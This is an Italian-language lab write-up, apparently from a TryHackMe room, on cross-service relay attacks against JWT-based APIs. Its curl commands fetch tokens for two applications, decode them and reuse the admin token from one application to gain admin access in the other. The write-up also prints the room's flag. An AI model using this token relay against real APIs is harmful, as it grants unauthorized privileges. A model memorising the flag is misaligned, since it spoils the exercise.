tags: Cross-Service_Relay_Attack JWT_Hacking API_Hacking


Questo attacco si verifica quando un server che gestisce l’API deve accettare richieste da tipi diversi di applicazioni il che porta ad avere diversi permessi a seconda dell’applicazione, se configurato male però è possibile ottenere privilegi superiori a quelli stabiliti utilizzando un token di un’altra autenticazione per un’altra applicazione che ha permessi superiori.

Per esempio se avessimo l’applicazione A e l’applicazione B dove la prima ha permessi di user mentre la seconda ha permessi di admin e il server non controlla bene questi permessi noi possiamo recuperare il token dell’applicazione B (ovviamente dobbiamo avere le credenziali) e provare a loggarci nell’applicazione A con il token dell’applicazione B il che se è vulnerabile ci permette di ottenere i privilegi di admin anche nell’applicazione A.

Esempio

Token dell’applicazione A:

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7", "application" : "appA"}' http://10.10.128.40/api/v1.0/example7
{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MCwiYXVkIjoiYXBwQSJ9.sl-84cMLYjxsD7SCySnnv3J9AMII9NKgz0-0vcak9t4"
}
{
 
  "typ": "JWT",
 
  "alg": "HS256"
 
}
 
{
  "username": "user",
  "admin": 0,
  "aud": "appA"
}

Token dell’applicazione B:

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7", "application" : "appB"}' http://10.10.128.40/api/v1.0/example7
{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o"
}
{
  "typ": "JWT",
  "alg": "HS256"
}
 
{
 
  "username": "user",
 
  "admin": 1,
 
  "aud": "appB"
 
}

Ora usiamo il token dell’applicazione B per autenticarci come admin anche nell’applicazione A:

curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.128.40/api/v1.0/example7_appA?username=admin
{
  "message": "Welcome admin, you are an admin, here is your flag: THM{f0d34fe1-2ba1-44d4-bae7-99bd555a4128}"
}